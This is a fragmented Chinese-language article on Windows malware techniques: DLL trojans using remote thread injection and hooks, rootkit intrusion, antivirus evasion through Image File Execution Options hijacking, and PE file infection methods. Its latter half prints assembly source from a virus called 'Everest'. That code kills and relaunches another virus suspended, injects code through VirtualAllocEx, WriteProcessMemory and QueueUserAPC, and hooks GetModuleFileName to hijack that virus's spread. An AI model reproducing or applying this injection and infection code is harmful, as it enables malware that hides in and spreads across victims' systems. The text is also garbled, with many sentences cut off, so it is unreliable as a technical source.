射”(remotethread injection),通常情况下,各个进程的内存空间是不可以相
互访问的,这也是为程序能够稳定运行打下基础,这个访问限制让所有进程之间
互相独立,这 样一来,任何一个非系统关键进程发生崩溃时都不会影响到其他内
存空间里的进程执行,从而使nt架构的稳定性远远高于win9x架构。但是在一些
特定的场合 里,必须让进程之间可以互相访问和管理,这就是“远程线程”技术
的初衷,这个技术实现了进程之间的跨内存空间访问,其核心是产生一个特殊的
线程,这个线程 能够将一段执行代码连接到另一个进程所处的内存空间里,作为
另一个进程的其中一个非核心线程来运行,从而达到交换数据的目的,这个连接
的过程被称为“注 射”(injection)。远程线程技术好比一棵寄生在大树上的蔓
藤,一旦目标进程被注射,这段新生的线程就成为目标进程的一部分代码了,只
要目标进程 不被终止,原进程无论是否还在运行都不会再影响到执行结果了。
方定义如下:
置子程以监视指定窗口的某种消息,而且所监视的窗口可以是其他进程所创建的。
当消息到达后,在目标窗口处理函数之前处理它。钩子机制允许应用程序截获处
理window消息或特定事件。
特定的消息发出,在没有到达目的窗口前,钩子程序就先捕获该消息,亦即钩 子
函数先得到控制权。这时钩子函数即可以加工处理(改变)该消息,也可以不作处
理而继续传递该消息,还可以强制结束消息的传递。
通过“线程注射”技术将其注入其他进程的内存空间,{zh1}这个dll里的 代码就
成为其他进程的一部分来实现了自身的隐藏执行,通过调用“hook”机制,这个
dll木马便实现了监视用户的输入输出操作,截取有用的资料等操作。 这种木马
的实际执行体是一个dll文件,由于Windows系统自身就包含着大量的dll文件,
谁也无法一眼看出哪个dll文件不是系统自带的,所以这种 木马的隐蔽性又提高
了一级,而且它的执行方式也更加隐蔽,这是由Windows系统自身特性决定的,
Windows自身就是大量使用dll的系统,许多 dll文件在启动时便被相关的应用
程序加载进内存里执行了,可是有谁在进程里直接看到过某个dll在运行的?因为
系统是把dll视为一种模块性质的执行体 来调用的,它内部只包含了一堆以函数
形式输出的模块,也就是说每个dll都需要由一个用到它的某个函数的exe来加
载,当dll里的函数执行完毕后就会返 回一个运行结果给调用它的exe,然后dll
进程退出内存结束这次执行过程,这就是标准的dll运行周期,而采用了“线程
注射”技术的dll则不是这样, 它们自身虽然也是导出函数,但是它们的代码是
具备执行逻辑的,这种模块就像一个普通exe,只是它不能直接由自身启动,而是
需要有一个特殊作用的程序(称 为加载者)产生的进程把这个dll的主体函数载入
内存中执行,从而让它成为一个运行中的木马程序。
进程一旦退出执行,其加载的dll模块也就被迫终止了,但是在 dll木马里,这
个情况是不会因为最早启动的exe被终止而发生的,因为它使用了“远程线程注
射”技术,所以,在用户发现异常时,dll木马早就不知道被 注入哪个正常进程
里了,即使用户发现了这个木马dll,也无法把它终止,因为要关闭它就必须在那
么多的系统进程里找到被它注射的进程,并将其终止,对一般 用户来说,这是个
不可能完成的任务。
攻击者通过远程攻击获得root访问权限,或者首先密码猜测或者密码强制 破译
的方式获得系统的访问权限。进入系统后,如果他还没有获得root权限,再通过
某些安全漏洞获得系统的root权限。接着,攻击者会在侵入的主机中安 装
rootkit,然后他将经常通过rootkit的后门检查系统是否有其他的用户登录,如
果只有自己,攻击者就开始着手清理日志中的有关信息。通过 rootkit的嗅探器
获得其它系统的用户和密码之后,攻击者就会利用这些信息侵入其它的系统。
的软件组合;广 义而言,Rootkit也可视为一项技术。最早Rootkit用于善意用
途,但后来Rootkit也被黑客用在入侵和攻击他人的电脑系统上,电脑病毒、间 谍
软件等也常使用Rootkit来隐藏踪迹,因此Rootkit已被大多数的防毒软件归类
为具危害性的恶意软件。Linux、Windows、Mac OS等操作系统都有机会成为Rootkit
的受害目标。
3、关闭杀毒软件
的
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Image
File Execution Options\键值下。由于这个项主要是用来调试程序用的,对一般
用户意义不大,默认是只有管理员和local
system有权读写修改。
虽然映像劫持是系统自带的功能,对一般用户来说根本没什么用的必要,但是就
有一些病毒通过映像劫持来做文章,表面上看起来是运行了一个正常的程序,实
际上病毒已经在后台运行了。
上“老掉牙”的那种传统!一般传统的病毒感染技术分成下面几类:
的一种感染方式,这种方式是非常简单的,只要把病毒体缀在宿主文件{zh1},再
修改程序入口,注意一下对齐,就行了。实际上这个方式也是最简单易行的,深
得VXer喜爱,因为它简单,但是却非常适合对病毒进行复杂的加密变形!
时再把他们组合起来。似乎人们从 CIH 才开始认识这种方式,事实上这种方式古
已有之,一些 DOS 病毒就用这种方式,只是没有引起人们注意--人们通常只推
崇轰动的东西!
执行文件则没有什么 Section 的概念,也没有什么xx空隙,似乎看起来不可能
插 入。其实不然,由于编译器的缘故,文件里很可能有一些用于保存数据的连续
的0,这些空间只在运行时才有用,和程序的初始化没关系。所以病毒可以统计这
些连 续的 0,如果发现这样的空间足够大,就可以把病毒块放在里面,运行时把
病毒块摘出,然后重新把那块内存清零就可以了——这种技术在 DOS 时代算是比
较高级 的技术,实现起来比较困难。这种感染方式还有衍生。比如不利用宿主已
有的空隙,而是在宿主代码里硬生生地挖洞,把病毒代码插进去,病毒执行后再
把洞填回去。这样的好处是可以把病毒分解成很小的碎片,这样就不容易被发现,
缺点是实现有些复杂,效果未必比利用已有空隙好。
存储在病毒体内。
把这种方式发扬光大了。
主,把宿主改个文件名,病毒启动后再启动宿主。
这个和捆绑式有相似之处,不足之处更是一样,而且还多了一个,就是病毒文件
被Copy到别的机器以后,就没有了宿主文件,无法执行正常功能了,这样就很容
易 被用户发现。所以这种方式比较适合感染安装在 “Program Files”里的一般
不会被拷贝的应用程序,而不是感染普通独立的可执行文件。
到广泛应用,所以称之为另类。
的Import项。这样在宿主启动时,系统会自动装载病毒。
这种方法的好处是明显的,就是宿主启动比较迅速,因为病毒和普通 DLL 没什么
区别。而且如果用户敢删除病毒文件,那么被感染的文件就执行不了了。
不足之处:
主就无法运行了。
组”。
不成功的病毒,bug非常非常多,但总算实现了这个思想。
坛看源码,可以通过地址下载。
这里只简单说一下这种感染技术的思路。
时,首先要把文件映射到内存,然后的工作就是装载文件Import表里导入的 DLL,
填充 API 地址,{zh1}才能正式启动进程。当进程调用 API 时,它就会用一条
call
tttttt指令,tttttt处并不是API入口,而是一条间接跳转指令,jmp [xxxx],
此处xxxx地址处存放的就是系统填充的API地址。
会填充那里,我们无法控制。看起来我说废话了,其实不然。换个角度想想,如
果我们 阻止系统填充,那么我们不就能占领高地了吗?我们是无法阻止系统填充
的(又说废话),但我们可以让系统填充到别处,也就是把Import表搬个地方。
好了,整理一下思路,让我们看一下具体的感染步骤:
LoadLibrary
这样也就自然而然地完成了非常好的EPO。
载宿主需要的所有DLL,并把API地址填充到宿主的Import表里。
所以基本无法恢复成原貌,这就是我为什么说这种方式是无法恢复的。但无法恢
复是相对的,PE结构无法恢复了,但宿主功能还完好无损。
主代码也进行加密。
文件进行重新组装,并可进行加密。这样将使病毒被xx的难度大大增加,而且
也破坏了PE文件原有结构,使恢复变得非常困难。
懒的做法,但懒得有道理,懒得够水平。
@pushsz 'Everest' ;压字符串
SE_DEBUG_NAME(SeDebugPrivilege)权限,并无特别之处,不再赘述。
它病毒,而非Everest。)。
文件名比对,就可以了。由于 Everest 这部分代码不是很好(用了 PSAPI,其实
ToolHelp API更好些),而且比较简单,这里就不分析代码了。
PatchVirus PROC hProcess : DWORD , szVirusPath :
DWORD
LOCAL szDestPath[128] : BYTE
LOCAL szFormatedPath[128]: BYTE
pushad
mov eax,hProcess
or eax,eax
jz PVMoveVirus
push 0
push hProcess
call
TerminateProcess;结束病毒进程,这就是为什么在开始需要提升权限了
push INFINITE
push hProcess
call WaitForSingleObject ;等到它真的结束为止
push hProcess
call CloseHandle
PVMoveVirus:
lea esi , szFormatedPath
push esi
push szVirusPath
call FormatVirus ;产生病毒文件名
lea edi , szDestPath
push esi
push edi
call lstrcpy
@pushsz '.scr'
push edi
call lstrcat ;产生新文件名
push edi
push esi
call MoveFile ;把病毒文件改成新名字
push esi
call lstrlen
mov esi , szVirusPath
add esi , eax
push esi
push edi
call lstrcat
push edi
call StartVirus ;重新启动病毒
popad
ret 8
PatchVirus ENDP
而是要在重新启动时对病毒进行一些手术。
手术开始了:
StartVirus PROC szVirusPath : DWORD
LOCAL sio : STARTUPINFO
LOCAL pi : PROCESS_INFORMATION
LOCAL cbWritten : DWORD
pushad
push sizeof(STARTUPINFO)
lea eax , sio
push eax
call RtlZeroMemory
mov sio.cb , sizeof STARTUPINFO
mov sio.wShowWindow , SW_HIDE
mov sio.dwFlags , STARTF_USESHOWWINDOW
lea eax , pi
push eax
lea eax , sio
push eax
push NULL
push NULL
push CREATE_SUSPENDED
push TRUE
push NULL
push NULL
push szVirusPath
push NULL
call CreateProcess ;启动病毒进程,注意参数CREATE_SUSPENDED的存在使病毒
处于休眠状态,这样才方便手术
or eax , eax
jz SVExit
push 3000
call Sleep
push PAGE_EXECUTE_READWRITE
push MEM_RESERVE or MEM_COMMIT
push RemoteCodeEnd - RemoteCodeStart
push 0
push pi.hProcess
call VirtualAllocEx ;在病毒进程分配一块内存
or eax , eax
jz SVFail
mov esi , eax
add eax , NewGetModuleFileName -
RemoteCodeStart
mov _NewGetModuleFileNameA ,
eax
lea eax , cbWritten
push eax
push RemoteCodeEnd - RemoteCodeStart
push offset RemoteCodeStart
push esi
push pi.hProcess
call WriteProcessMemory ;向病毒进程写入代码
or eax , eax
jz SVFail
push NULL
push pi.hThread
push esi
call QueueUserAPC ;排队等候执行
or eax , eax
jz SVFail
push pi.hThread
call ResumeThread ;好了,手术结束,唤醒病毒
SVFail:
push pi.hThread
call CloseHandle
push pi.hProcess
call CloseHandle
SVExit:
popad
ret 4
StartVirus ENDP
写入病毒进程的远程代码如下:
RemoteCodeStart:
mov esi , 12345678h
_GetModuleFileNameA = dword ptr
$-4
@pushsz '123' ;cbWriten
push
PAGE_EXECUTE_READWRITE
push 6
push esi
mov eax , 12345678h
_VirtualProtect = dword ptr $-4
call eax ;改虚拟内存属性,方便写入
@pushsz '123' ;cbWriten
push 6
call RCSJump
push 12345678h ;这两行代码是跳转代码
_NewGetModuleFileNameA = dword ptr
$-4
ret
RCSJump:
push esi
push -1
mov eax , 12345678h
_WriteProcessMemory = dword ptr $-4
call eax ;写入跳转代码
ret 4
NewGetModuleFileName:
push esi
push edi
mov edi , [esp+16]
call _szWormPath
szWormPath db MAX_PATH dup (0)
_szWormPath:
pop esi
xor ecx , ecx
RCSLoop:
lodsb
stosb
inc ecx
or al , al
jnz RCSLoop
pop edi
pop esi
mov eax , ecx
ret 12
RemoteCodeEnd:
码,并启动之。有趣的是这里并没有使用远程线程,而是使用了 QueueUserAPC。
这个 API非常有趣,它的作用是把插入的远程代码作为一个APC callback进行排
队,当进程触发某些状态时,这个回调就会被调用。从休眠转入运行,就是这样
的状态,所以远程代码在病毒执行前就执行了。关于 QueueUserAPC,大家可以看
看MSDN。这个API又一次体现了MS的风格,好用就行,不管安全与否。
进程的GetModuleFileName函数的头6个字节,换成push xxxxxx/ret,其中xxxxxx
是新的 GetModuleFileName 地址。这样当病毒调用 GetModuleFileName 时,就会
掉到 Everest 埋伏 的陷阱里,一个新的 GetModuleFileName。这个新的
GetModuleFileName返回的是预先取得的 Everest的文件名。
果获得的是 Everest 的,当病毒把“自身文件”向外传播时,传的就是 Everest
了。
以通过网络传播。
个用户会同时中两个病毒(一个Everest,一个其它病毒)?写病毒的一个原则,
就 是不能xx依赖特定的东西,否则一旦依赖的对象不存在了,病毒自身也就完
蛋了,而Everest一旦离开其它病毒,它就无法传播了。
已投稿到: |
![]() ![]() |
---|